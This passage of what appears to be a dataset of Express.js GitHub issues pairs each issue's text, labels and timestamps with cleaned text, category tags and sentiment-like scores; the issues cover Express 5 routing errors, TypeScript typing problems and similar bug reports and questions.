the expected correction would be redirecting to nay valid page.",,2025-06-26 11:24:12+00:00,2025-07-30 13:41:54+00:00,5,nan,34.0956,the the contributing md link is borken description when clicked on contributing md its not redirecting to any valid page to guiding the new contributors who joined the project we need to fix it image image please assign this task to me expectations the expected correction would be redirecting to nay valid page,others,0.5859
expressjs/express,3157253483,express crashing when using node internal http2 module on sending any request from client,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 5.*
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**:  
`Linux d176f8ed3db8 5.15.146.1-microsoft-standard-WSL2 #1 SMP Thu Jan 11 04:09:03 UTC 2024 x86_64 GNU/Linux` (Docker image from node:23-slim),  
`Microsoft Windows NT 10.0.19045.0 x64`
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**:
Linux: 23.11, 24.2
Windows: 22.12
<!-- 
Output of node -v.
-->

**Any other relevant information**:
Error code:
```
node:events:502
      throw er; // Unhandled 'error' event
      ^

TypeError: Cannot read properties of undefined (reading 'readable')
    at IncomingMessage._read (node:_http_incoming:211:19)
    at Readable.read (node:internal/streams/readable:739:12)
    at resume_ (node:internal/streams/readable:1257:12)
    at process.processTicksAndRejections (node:internal/process/task_queues:90:21)
Emitted 'error' event on IncomingMessage instance at:
    at emitErrorNT (... [TRUNCATED]",bug,2025-06-18 15:07:55+00:00,2025-06-21 01:00:42+00:00,2,bug,2.4117,express crashing when using node internal http module on sending any request from client the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version to find the installed version of a package you can check the file in the root directory of your project the version will be listed under or like this node events throw er unhandled error event typeerror cannot read properties of undefined reading readable at incomingmessage read node http incoming at readable read node internal streams readable at resume node internal streams readable at process processticksandrejections node internal process task queues emitted error event on incomingmessage instance at at emiterrornt truncated,bug,-0.5106
expressjs/express,3115326755,Native support for Valkey (cache) in Express,"**Context:**

After exhaustive analysis of different caching options for my express boilerplate ive found that:

- Redis cant be trusted (relicensing drama)
- Redis was forked into free OSS and by AWS & GCP and named to [Valkey](https://valkey.io/)
- Valkey is more performant [Video proof](https://www.youtube.com/watch?v=9hDvWVJtljE&t=248s)

And thus, id like to request a Expressjs-valkey plugin, similar to [what Fastify has](https://github.com/fastify/fastify-redis/issues/226) - In my case, im using [Valkey Glide](https://github.com/valkey-io/valkey-glide) so that would be desired, but [iovalkey](https://github.com/valkey-io/iovalkey) would make sense too


**- The use case it helps solve and goal of the new feature**
The use case for this would be streamlined access to Valkey.io cache service


**- Example code for how you would use or interact with the feature**
```
import express from 'express'
import expressValkey from '@express/valkey-glide'

const express = express()

// create by specifying address
express.register(expressValkey, {
  addresses: [{ host: '127.0.0.1' }]
})

// OR with more options
express.register(expressValkey, {
  addresses: [{ host: '127.0.0.1', port: 6379 }],
  credentials: {username: ""user1"", password: ""password""},
  useTLS: true
})

```

**- The expected behavior, in as much details as you can provide**

Expressjs framework has access to Valkey client - similar to [Fastify's plugin](https://github.com/fastify/fastify-valkey-glide)


**- Do you wan... [TRUNCATED]",,2025-06-03 20:18:33+00:00,2025-06-03 21:45:48+00:00,3,nan,0.0606,native support for valkey cache in express context after exhaustive analysis of different caching options for my express boilerplate ive found that redis cant be trusted relicensing drama redis was forked into free oss and by aws gcp and named to valkey valkey is more performant video proof and thus id like to request a expressjs valkey plugin similar to what fastify has in my case im using valkey glide so that would be desired but iovalkey would make sense too the use case it helps solve and goal of the new feature the use case for this would be streamlined access to valkey io cache service example code for how you would use or interact with the feature the in as much details as you can provide expressjs framework has access to valkey client similar to fastify s plugin do you wan truncated,help,0.8348
expressjs/express,3103209284,No overload matches this call error ts(2769),"This is my indexWithZod.ts file:

``` import express from 'express';
import { z } from 'zod';

export const appWithZod = express();
appWithZod.use(express.json());


const sumInput = z.object({
  a: z.number(),
  b: z.number()
});

appWithZod.post('/sum', (req, res) => {

  const parsedResponse = sumInput.safeParse(req.body);

  if (!parsedResponse.success) {
    return res.status(411).json({
      message: 'Incorrect inputs'
    });
  }
  
  const answer = parsedResponse.data.a + parsedResponse.data.b;

  return res.json({
    answer
  });
});
```

I am getting error at `(req, res) => {` where the exact error message is 

> No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request<{}, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>, number>) => Response<any, Record<...>, number>' is not assignable to parameter of type 'Application<Record<string, any>>'.
      Type '(req: Request<{}, any, any, ParsedQs, Record<string, any>>, res: Response<any, Record<string, any>, number>) => Response<any, Record<...>, number>' is missing the following properties from type 'Application<Record<string, any>>': init, defaultConfiguration, engine, set, and 63 more.ts(2769)

Here is the additional bin.ts file for reference:
```
import { appWithZod } from './indexWithZod';

appWithZod.listen(3001, () => {
  console.log('Server (appWithZod) is running on PORT 3001');
});

```
",question,2025-05-30 13:10:45+00:00,2025-07-15 02:40:22+00:00,2,question,45.5622,no overload matches this call error ts this is my indexwithzod ts file i am getting error at where the exact error message is no overload matches this call the last overload gave the following error argument of type req request res response number response number is not assignable to parameter of type application type req request res response number response number is missing the following properties from type application init defaultconfiguration engine set and more ts here is the additional bin ts file for reference,bug,-0.9732
expressjs/express,3098854831,[draft] release plan: 5.2,"Some PRs that could go into the next minor version of Express:

- https://github.com/expressjs/express/pull/2653
- https://github.com/expressjs/express/pull/6405",,2025-05-29 00:38:23+00:00,2025-12-11 14:59:11+00:00,0,nan,196.5978,draft release plan some prs that could go into the next minor version of express,others,0.0
expressjs/express,3097816750,wildcard route isn't working,"
## Environment information

**Version**:
```json
""dependencies"": {
  ""express"": ""^5.1.0""
}
```
**Platform**:
- 
Windows: Microsoft Windows NT 10.0.26100.0 x64

**Node.js version**:
v22.15.0

 i am receving this err

```
[nodemon] restarting due to changes...
[nodemon] starting `tsx ./src/index.ts`
C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:153
      throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^


TypeError: Missing parameter name at 11: https://git.new/pathToRegexpError
    at name (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:153:13)
    at lexer (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:171:21)
    at lexer.next (<anonymous>)
    at Iter.peek (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:188:32)
    at Iter.tryConsume (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:195:24)
    at Iter.text (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:213:26)
    at consume (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:285:23)
    at parse (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:320:18)
    at <anonymous> (C:\Users\gjugn\Desktop\trt\node_modules\path-to-regexp\src\index.ts:503:40)
    at Array.map (<anonymous>)

Node.js v22.15.0
[nodemon] app crashed - waiting for file changes before starting...
```
my code:
```import { toNodeHandler } from ""better-auth/node"";
im... [TRUNCATED]",bug,2025-05-28 15:44:21+00:00,2025-05-28 15:50:50+00:00,2,bug,0.0045,wildcard route isn t working rmation version platform windows microsoft windows nt x node js version v i am receving this err my code import tonodehandler from better auth node im truncated,bug,0.4404
expressjs/express,3087163521,Lack of Type Safety When Extending Express API with Custom Response Methods,"Hi Express community,

I'm exploring the feature of extending the Express API, as documented here, to add custom response methods. While this is a powerful feature, I've encountered what appears to be a lack of type safety when implementing these custom methods, particularly when using TypeScript.

For example, I've defined a custom `AuthUser` type:

```ts
type AuthUser = {
  id: number;
  name: string;
};
```

And extended the `express.Response` object with a custom success method:

```ts
// express.d.ts
/* eslint-disable ts/consistent-type-definitions */

import type { Send } from 'express';

declare global {
  export type Success<T = any> = {
    code: number;
    data: T;
    message: string;
  };
  export namespace Express {
    export interface Response<ResBody = any> {
      respond: (body: ResBody) => ReturnType<Send<ResBody>>;
      success: (code: number, message: string, data: ResBody extends Success<infer T> ? T : never) => ReturnType<Send<ResBody>>;
    }
  }
}
```

```ts
// app.ts
import type { Request, Response } from 'express';

import express from 'express';

const app = express();

type AuthedUser = {
  id: number;
  name: string;
};

app.get('/', (_req: Request, res: Response<Success<AuthedUser>>) => {
  console.warn('Hello World!');
  // this should be an error but it's not
  res.success(200, 'success', 1);
  // this is working fine
  res.send({
    code: 200,
    data: 1,
    message: 'success',
  });
});

app.response.respond = function (body: any) {
  r... [TRUNCATED]",question,2025-05-23 18:09:58+00:00,2025-05-24 01:41:22+00:00,0,question,0.3135,lack of type safety when extending express api with custom response methods hi express community i m exploring the feature of extending the express api as documented here to add custom response methods while this is a powerful feature i ve encountered what appears to be a lack of type safety when implementing these custom methods particularly when using typescript for example i ve defined a custom type and extended the object with a custom success method ts app ts import type request response from express import express from express const app express type autheduser id number name string app get req request res response console warn hello world this should be an error but it s not res success success this is working fine res send code data message success app response respond function body any r truncated,help,0.9684
expressjs/express,3078840147,"Doesn't return a file with special characters %23, %2A, etc.","Doesn't return a file with special characters %23, %2A, etc. I'm working on a Node.js project to download files with names like: normal_00dc038225ac0372_cpd_%2A%23%2A00936154844019_19619_19119_18-53-44_2025-05-20-019B0282-10063123-00000001.mp3

and Express can't find it.

Incoming request: GET /audios/2025/05/21/normal_00dc038225ac0372_cpd_%2A%23%2A00936154844019_19619_19119_18-53-44_2025-05-20-019B0282-10063123-00000001.mp3

and returns 404 notfound, the file exists at the correct path.",,2025-05-21 04:17:01+00:00,2026-01-17 03:09:48+00:00,1,nan,240.9533,doesn t return a file with special characters a etc doesn t return a file with special characters a etc i m working on a node js project to download files with names like normal dc ac cpd a a b mp and express can t find it incoming request get audios normal dc ac cpd a a b mp and returns notfound the file exists at the correct path,others,0.7845
expressjs/express,3073287558,"app.get(""*"")    not working since version 5","im updating all my packages. now express is crashing for 

express code

```

	app.use(""/"", express.static(""www""));

	app.get(""*"", function(req, res){
		res.sendFile(path.join(__dirname, ""./www/index.html""));
	});
```

with 


error
```
  throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
            ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
```


could find out why. was working fine in v4. didnt found anything in https://expressjs.com/en/guide/migrating-5.html

for that.

how can i make that work again?



### Environment information

```
{
  ""dependencies"": {
    ""body-parser"": ""^2.2.0"",
    ""busboy"": ""^1.6.0"",
    ""canvas"": ""^3.1.0"",
    ""cluster"": ""^0.7.7"",
    ""compression"": ""^1.8.0"",
    ""connect-busboy"": ""^1.0.0"",
    ""connect-mongodb-session"": ""^5.0.0"",
    ""cors"": ""^2.8.5"",
    ""csvtojson"": ""^2.0.10"",
    ""express"": ""^5.1.0"",
    ""express-session"": ""^1.18.1"",
    ""fast-xml-parser"": ""^5.2.3"",
    ""google-polyline"": ""^1.0.3"",
    ""haversine-distance"": ""^1.2.3"",
    ""json-2-csv"": ""^5.5.9"",
    ""metar-taf-parser"": ""^9.1.2"",
    ""moment"": ""^2.30.1"",
    ""moment-timezone"": ""^0.5.48"",
    ""mongoose"": ""^8.15.0"",
    ""nodemailer"": ""^7.0.3"",
    ""qrcode"": ""^1.5.4"",
    ""request-promise"": ""^4.2.6"",
    ""speakeasy"": ""^2.0.0"",
    ""uuid"": ""^11.1.0"",
    ""xmlbuilder"": ""^15.1.1""
  }
}

```
",question,2025-05-19 10:07:06+00:00,2025-05-19 10:08:20+00:00,0,question,0.0009,app get not working since version im updating all my packages now express is crashing for express code with error could find out why was working fine in v didnt found anything in for that how can i make that work again rmation,help,-0.296
expressjs/express,3071630181,"Form data is returned in as strings, not in correct TS types","I have this complicated form and I send data from it.
```HTML
<form action=""/oglasi/postavka"" method=""post"">
  <fieldset>
    <legend>Informacije o zgradi</legend>
    <div>
      <label for=""address"">Adresa:</label>
      <input type=""text"" name=""building[address]"" id=""address"" maxlength=""255"" required>
    </div>
    <div>
      <label for=""constructedIn"">Izgrađen:</label>
      <input type=""number"" name=""building[constructedIn]"" id=""constructedIn"" required>
    </div>
    <div>
      <label for=""numOfFloors"">Spratnost:</label>
      <input type=""number"" name=""building[numOfFloors]"" id=""numOfFloors"" required>
    </div>
    <div>
      <label for=""hasParking"">Parking:</label>
      <input type=""checkbox"" name=""building[hasParking]"" id=""hasParking"">
    </div>
    <div>
      <label for=""hasGarage"">Garaža:</label>
      <input type=""checkbox"" name=""building[hasGarage]"" id=""hasGarage"">
    </div>
    <div>
      <label for=""hasElevator"">Lift:</label>
      <input type=""checkbox"" name=""building[hasElevator]"" id=""hasElevator"">
    </div>
    <div>
      <label for=""hasCctv"">Video nadzor:</label>
      <input type=""checkbox"" name=""building[hasCctv]"" id=""hasCctv"">
    </div>
    <div>
      <label for=""hasIntercom"">Interfon:</label>
      <input type=""checkbox"" name=""building[hasIntercom]"" id=""hasIntercom"">
    </div>
  </fieldset>

  <fieldset>
    <legend>Informacije o stanu</legend>
    <div>
      <label for=""location"">Lokacija:</label>
      <input type=""text"" name=""apartmen... [TRUNCATED]",,2025-05-18 10:26:52+00:00,2025-06-28 01:22:03+00:00,4,nan,40.6217,form data is returned in as strings not in correct ts types i have this complicated form and i send data from it html informacije o zgradi adresa izgra en spratnost parking gara a lift video nadzor interfon informacije o stanu lokacija input type text name apartmen truncated,others,0.0
expressjs/express,3050875096,POST handler executed instead of GET handler,"I have sent the full code below. To reproduce the strange behavior:
Run both the server and the client, send a request throw the form , check that you are sending a GET request using developer tools then, on the server check that the app.post handler is being executed. Note that there ia a problem in the form, it is not executing the js script because of a missing property in the button (type=""button""), so the type of the button is by default ""submit"" and the request that is being sent is a GET request sending the data on the URL query part. But why is the server executing the app.post handler?

## Environment information

**Version**:

  ""dependencies"": {
    ""cors"": ""^2.8.5"",
    ""dotenv"": ""^16.5.0"",
    ""express"": ""^5.1.0"",
    ""mysql2"": ""^3.14.0"",
    ""sequelize"": ""^6.37.7""
  }

**Platform**:
Microsoft Windows NT 10.0.26100.0
x64

**Node.js version**:
v22.14.0

**Any other relevant information**:
Full code is here:
Description: a server app and a client app, just add a MySQL server connection details or simply remove connection to DB as it is not relevant here:
https://drive.google.com/file/d/1P-50C95h5RAMYarO-scfUHaLLPq1mmZF/view?usp=sharing",bug,2025-05-09 05:17:25+00:00,2025-05-11 05:49:58+00:00,4,bug,2.0226,post handler executed instead of get handler i have sent the full code below to reproduce the strange behavior run both the server and the client send a request throw the form check that you are sending a get request using developer tools then on the server check that the app post handler is being executed note that there ia a problem in the form it is not executing the js script because of a missing property in the button type button so the type of the button is by default submit and the request that is being sent is a get request sending the data on the url query part but why is the server executing the app post handler rmation version dependencies cors dotenv express mysql sequelize platform microsoft windows nt x node js version v any other relevant information full code is here description a server app and a client app just add a mysql server connection details or simply remove connection to db as it is not relevant here,bug,-0.431
expressjs/express,3036775692,array-flatten,"Hi,

I deployed my next.js webapp in azure web app and I have an issue in the log when I open the url:

> Cannot find module 'array-flatten'Require stack:- C:\home\site\wwwroot\node_modules\express\lib\router\route.js- C:\home\site\wwwroot\node_modules\express\lib\router\index.js- C:\home\site\wwwroot\node_modules\express\lib\application.js- C:\home\site\wwwroot\node_modules\express\lib\express.js- C:\home\site\wwwroot\node_modules\express\index.js- C:\home\site\wwwroot\server.js- C:\Program Files (x86)\iisnode\interceptor.jsat Module._resolveFilename (node:internal/modules/cjs/loader:1225:15)at Module._load (node:internal/modules/cjs/loader:1051:27)at Module.require (node:internal/modules/cjs/loader:1311:19)at Module.patchedRequire (C:\PROGRA~2\SITEEX~1\NODEAP~1\211~1.4\nodejs\node_modules\diagnostic-channel\dist\src\patchRequire.js:16:46)at Hook._require.Module.require (C:\PROGRA~2\SITEEX~1\NODEAP~1\211~1.4\nodejs\node_modules\require-in-the-middle\index.js:167:34)at require (node:internal/modules/helpers:179:18)at Object.<anonymous> (C:\home\site\wwwroot\node_modules\express\lib\router\route.js:17:15)at Module._compile (node:internal/modules/cjs/loader:1469:14)at Module._extensions..js (node:internal/modules/cjs/loader:1548:10)at Module.load (node:internal/modules/cjs/loader:1288:32)Application has thrown an uncaught exception and is terminated:Error: Cannot find module 'array-flatten'Require stack:- C:\home\site\wwwroot\node_modules\express\lib\router\route.js- C:\home\si... [TRUNCATED]",awaiting more info,2025-05-02 20:21:50+00:00,2025-05-15 19:42:19+00:00,1,awaiting more info,12.9726,array flatten hi i deployed my next js webapp in azure web app and i have an issue in the log when i open the url cannot find module array flatten require stack c home site wwwroot node modules express lib router route js c home site wwwroot node modules express lib router index js c home site wwwroot node modules express lib application js c home site wwwroot node modules express lib express js c home site wwwroot node modules express index js c home site wwwroot server js c program files x iisnode interceptor jsat module resolvefilename node internal modules cjs loader at module load node internal modules cjs loader at module require node internal modules cjs loader at module patchedrequire c progra siteex nodeap nodejs node modules diagnostic channel dist src patchrequire js at hook require module require c progra siteex nodeap nodejs node modules require in the middle index js at require node internal modules helpers at object c home site wwwroot node modules express lib router route js at module compile node internal modules cjs loader at module extensions js node internal modules cjs loader at module load node internal modules cjs loader application has thrown an uncaught exception and is terminated error cannot find module array flatten require stack c home site wwwroot node modules express lib router route js c home si truncated,others,-0.2263
expressjs/express,3035936895,Performance degradation in node v22,"Hello everyone, 

I have a question regarding express v4/5 performance inconsistency running on node v18 vs node v22

Images below are from a bare minimum express setup code attached below just `nvm use` in each then `npm run start` these are samples but I run these tests over 10 times with different time frames etc and v22 is consistently showing this behavior

<img width=""786"" alt=""Image"" src=""https://github.com/user-attachments/assets/c3a646d5-392d-4504-89a5-e65e77857bd4"" />

node v22 ( 15.3k req/s )

<img width=""850"" alt=""Image"" src=""https://github.com/user-attachments/assets/e0896d9d-7dfe-4870-9cdd-300bc7145b9d"" />

node v18 ( 17.3k req/s )


so the overall performance is not degraded by that much but the per request latency had a major impact, slowest in v18 is 0.07s which slowest request in v22 is 3s u can also see that that difference in the latency histogram, we have also noticed that in a recent upgrade in production where health check is failing under high load, while the same build using v18 is surviving the same load

anyone is experiencing the same or have an idea what I'm actually doing wrong ?

Thanks,

Code used for this test ( full code below )

```
// server.js - Node.js 22 Version
import express from 'express';

const app = express();
const port = process.env.PORT || 3000;

app.use(express.json());

app.get('/api/healthz', (req, res) => {
  res.status(200).send('ok');
});

app.use((err, req, res, next) => {
  console.error('Error:', err);
  res.status(500)... [TRUNCATED]",question,2025-05-02 12:41:41+00:00,2025-05-02 17:08:08+00:00,0,question,0.185,performance degradation in node v hello everyone i have a question regarding express v performance inconsistency running on node v vs node v images below are from a bare minimum express setup code attached below just in each then these are samples but i run these tests over times with different time frames etc and v is consistently showing this behavior node v k req s node v k req s so the overall performance is not degraded by that much but the per request latency had a major impact slowest in v is s which slowest request in v is s u can also see that that difference in the latency histogram we have also noticed that in a recent upgrade in production where health check is failing under high load while the same build using v is surviving the same load anyone is experiencing the same or have an idea what i m actually doing wrong thanks code used for this test full code below server js node js version import express from express const app express const port process env port app use express json app get api healthz req res res status send ok app use err req res next console error error err res status truncated,help,-0.8101
expressjs/express,3030576300,"TypeError: Unexpected ( at 9, expected END: https://git.new/pathToRegexpError","Hey devs I am new to express js and  I don't know some stuff,.

How could i fix this 
app.get(`/newpage(.html)?`, (req, res) => {
  res.sendFile(path.join(__dirname, ""views"", ""newpage.html""));
});

it showing me error 
Nodejs\node_modules\path-to-regexp\dist\index.js:123
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
        ^

TypeError: Unexpected ( at 9, expected END: https://git.new/pathToRegexpError
    at Iter.consume (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:123:15)
    at consume (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:179:16)
    at parse (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:183:20)
    at E:\Nodejs\node_modules\path-to-regexp\dist\index.js:294:74
    at Array.map (<anonymous>)
    at pathToRegexp (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:294:25)
    at Object.match (E:\Nodejs\node_modules\path-to-regexp\dist\index.js:264:30)
    at matcher (E:\Nodejs\node_modules\router\lib\layer.js:86:23)
    at new Layer (E:\Nodejs\node_modules\router\lib\layer.js:93:62)
    at Function.route (E:\Nodejs\node_modules\router\index.js:428:17)

",question,2025-04-30 08:43:17+00:00,2025-04-30 13:24:20+00:00,2,question,0.1952,typeerror unexpected at expected end hey devs i am new to express js and i don t know some stuff how could i fix this app get req res res sendfile path join dirname views newpage html it showing me error nodejs node modules path to regexp dist index js throw new typeerror typeerror unexpected at expected end at iter consume e nodejs node modules path to regexp dist index js at consume e nodejs node modules path to regexp dist index js at parse e nodejs node modules path to regexp dist index js at e nodejs node modules path to regexp dist index js at array map at pathtoregexp e nodejs node modules path to regexp dist index js at object match e nodejs node modules path to regexp dist index js at matcher e nodejs node modules router lib layer js at new layer e nodejs node modules router lib layer js at function route e nodejs node modules router index js,bug,0.1779
expressjs/express,3024339035,Missing next() in Middleware Causes Request to Get Stuck,"---
name: Missing `next()` in Middleware Causes Request to Get Stuck
about: Report an issue where missing `next()` in middleware causes requests to get stuck.
---

## Description
In Express, if the `next()` function is not called in a middleware, the request will get stuck because Express doesn't know how to proceed to the next middleware or route handler. This can lead to issues where requests hang indefinitely, as no response is sent to the client.

## Steps to Reproduce:
1. Create a middleware function that does not call `next()` or send a response.
2. Use the middleware in an Express app.
3. Make a request to the server.
4. Observe that the request is stuck, and no further middleware or route handlers are executed.

### Example Code:
```javascript
app.use((req, res) => {
  // Middleware without `next()`
  console.log('Middleware without next()');
  // No response is sent, and no next() is called, causing the request to get stuck.
});
",,2025-04-28 09:37:50+00:00,2025-04-30 15:16:00+00:00,4,nan,2.2348,missing next in middleware causes request to get stuck name missing in middleware causes request to get stuck about report an issue where missing in middleware causes requests to get stuck description in express if the function is not called in a middleware the request will get stuck because express doesn t know how to proceed to the next middleware or route handler this can lead to issues where requests hang indefinitely as no response is sent to the client create a middleware function that does not call or send a response use the middleware in an express app make a request to the server observe that the request is stuck and no further middleware or route handlers are executed example code javascript app use req res middleware without console log middleware without next no response is sent and no next is called causing the request to get stuck,feature,-0.9601
expressjs/express,3011876034,What happened to `express.text()`,"My app was using [`express.text()`](https://expressjs.com/en/4x/api.html#express.text) with Express v4.21,1 to increase the upload limit for `app.post()` and was recently updated to support Express v5.1.0

Now I see that `express.text()` is neither documented in the [5.x API](https://expressjs.com/en/5x/api.html) or mentioned as being removed in the [Moving to Express 5](https://expressjs.com/en/guide/migrating-5.html) guide.

**_Is it still possible to use `express.text()` with Express 5 or is there a different / better approach?_**
It seems that [express/lib/express.js](https://github.com/expressjs/express/blob/f9954dd317a1b534e62a5ae3aa7f52f3582b8881/lib/express.js#L80) still exposes bodyparser.text as express.text.",question,2025-04-22 18:57:01+00:00,2025-04-26 03:32:48+00:00,3,question,3.3582,what happened to my app was using with express v to increase the upload limit for and was recently updated to support express v now i see that is neither documented in the x api or mentioned as being removed in the moving to express guide is it still possible to use with express or is there a different better approach it seems that express lib express js still exposes bodyparser text as express text,help,0.7506
expressjs/express,3006884225,app.listen does not throw on port in use - this seems an error and different from previous version ?,"## Environment information

**Version**:
```json
""dependencies"": {
    ""express"": ""^5.0.1"",
}
```

**Platform**:
Microsoft Windows NT 10.0.19045.0
x64

**Node.js version**:
v20.14.0

## What steps will reproduce the bug?
```
import express, { Express, Request, RequestHandler, Response } from 'express';

const port = 3000;

const app = express();

app.listen(port, () => {

    console.log(`listening on port ${port}`);

    try {

        app.listen(port, () => {
            console.log(`how did we get here ???`);
        });

    } catch(e) {
        // should have thrown ? 
        console.error(e);
    }

});
```
",question,2025-04-20 08:20:31+00:00,2025-04-20 22:46:44+00:00,2,question,0.6015,app listen does not throw on port in use this seems an error and different from previous version rmation version platform microsoft windows nt x node js version v what steps will reproduce the bug,bug,-0.7184
expressjs/express,3006288817,"Please open ""set property query"" again.","Hi
I like Expressjs with middleware so much.
But with Expressjs 5, i cannot overwrite query.
Because i use middleware to overrite body, query & params before controller.
This is my case to use.

![Image](https://github.com/user-attachments/assets/e61ec752-c74e-42ac-a3da-bfc7764c184c)",,2025-04-19 08:12:40+00:00,2025-04-27 08:27:47+00:00,5,nan,8.0105,please open set property query again hi i like expressjs with middleware so much but with expressjs i cannot overwrite query because i use middleware to overrite body query params before controller this is my case to use image,others,0.34
expressjs/express,3005423114,"Express 5: Route wildcard ""(.*)""  throw new TypeError in path-to-regexp","## Environment information

**Version**:
```
json
""dependencies"": {
  ""express"": ""^5.1.0""
}
```

**Platform**:
Linux vm188 5.15.143-1-pve #1 SMP PVE 5.15.143-1 (2024-02-08T18:12Z) x86_64 GNU/Linux

**Node.js version**:
v23.11.0

**Any other relevant information**:
path-to-regexp (included in Express 5)
Reproducible in minimal test case

## What steps will reproduce the bug?
When using a wildcard route (.*) in Express 5, the server crashes with:

```
const express = require('express');
const app = express();
app.get('(.*)', (req, res) => res.send('Wildcard route'));
app.listen(3000);
```

Console Error is:

```
/srv/nodejs/express5-wildcard-test/node_modules/path-to-regexp/dist/index.js:123
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
```",bug,2025-04-18 17:31:43+00:00,2025-04-18 19:11:01+00:00,3,bug,0.069,express route wildcard throw new typeerror in path to regexp rmation version platform linux vm pve smp pve t z x gnu linux node js version v any other relevant information path to regexp included in express reproducible in minimal test case what steps will reproduce the bug when using a wildcard route in express the server crashes with console error is,bug,-0.7184
expressjs/express,3005107581,Github tag naming,"I noticed that with the release of 5.1.0 the github tag was labeled `v5.1.0` which is different from how version 4 was tagged.  Also there isn't any real consistency in the version labels for version 5.

We have nightly jobs that get the latest version number from npm and then use that to pull this repo so we can test it on our platforms.  It has been recently failing because of the labelling.  I'm fine with updating our code to use the `v` prefix, i just wanted to know if it will be consistent in the future?
","question,tc agenda,top priority",2025-04-18 14:46:44+00:00,2025-04-20 14:32:31+00:00,6,"question,tc agenda,top priority",1.9901,github tag naming i noticed that with the release of the github tag was labeled which is different from how version was tagged also there isn t any real consistency in the version labels for version we have nightly jobs that get the latest version number from npm and then use that to pull this repo so we can test it on our platforms it has been recently failing because of the labelling i m fine with updating our code to use the prefix i just wanted to know if it will be consistent in the future,help,-0.296
expressjs/express,3001885340,`logError` swallows error details (such as `cause`),"Express configures finalhandler’s `onError` function in [application.js:156](https://github.com/expressjs/express/blob/master/lib/application.js#L156) to call [logError](https://github.com/expressjs/express/blob/master/lib/application.js#L615), which basically calls `console.error(err.stack || err.toString())`.

Some years ago logging `err.stack` was the only way to print out the error message and stack trace at once, as logging just `err` would miss some things (I don’t remember what). This has changed and nowadays it seems to be the other way round.

For example, there is now the [`Error.cause`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/cause) property allowing to specify a nested error. `console.log(new Error(""outer"", { cause: new Error(""inner"") }))` prints the nested error, while `console.log(new Error(""outer"", { cause: new Error(""inner"") }).stack)` misses it.

Async stack traces might be another example, although I couldn’t find a good way to test this.

In my concrete case, I am using Sequelize and an error occurred. Express basically logged the error as `Error:` with a stack trace that was not very helpful. After some investigation, I found out that logging the error object itself rather than its `stack` property reveals tons of information about the error that were otherwise missing. It seems that Sequelize errors contain nested errors in the `parent` and `original` properties, and those are logged as well when using `conso... [TRUNCATED]",bug,2025-04-17 09:02:05+00:00,2026-06-15 20:36:44+00:00,6,bug,424.4824,swallows error details such as express configures finalhandler s function in application js to call logerror which basically calls some years ago logging was the only way to print out the error message and stack trace at once as logging just would miss some things i don t remember what this has changed and nowadays it seems to be the other way round for example there is now the property allowing to specify a nested error prints the nested error while misses it async stack traces might be another example although i couldn t find a good way to test this in my concrete case i am using sequelize and an error occurred express basically logged the error as with a stack trace that was not very helpful after some investigation i found out that logging the error object itself rather than its property reveals tons of information about the error that were otherwise missing it seems that sequelize errors contain nested errors in the and properties and those are logged as well when using conso truncated,bug,-0.9818
expressjs/express,2998802722,5.1.0 Throws error on route with a parameter in it,"
```
cory@redbarchetta[03:41:13]~/.../Projects/YoctoVideo/backend$ npm run dev

> backend@0.0.1 dev
> npx dotenvx run -f .env.development -f .env -- node ./src/index.js

[dotenvx@1.38.4] injecting env (9) from .env.development, .env
/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:73
            throw new TypeError(`Missing parameter name at ${i}: ${DEBUG_URL}`);
                  ^

TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError
    at name (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:73:19)
    at lexer (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:91:27)
    at lexer.next (<anonymous>)
    at Iter.peek (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:106:38)
    at Iter.tryConsume (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:112:28)
    at Iter.text (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:128:30)
    at consume (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:152:29)
    at parse (/home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:183:20)
    at /home/cory/Documents/Projects/YoctoVideo/backend/node_modules/path-to-regexp/dist/index.js:294:74
    at Array.map (<anonymous>)

Node.js v23.11.0
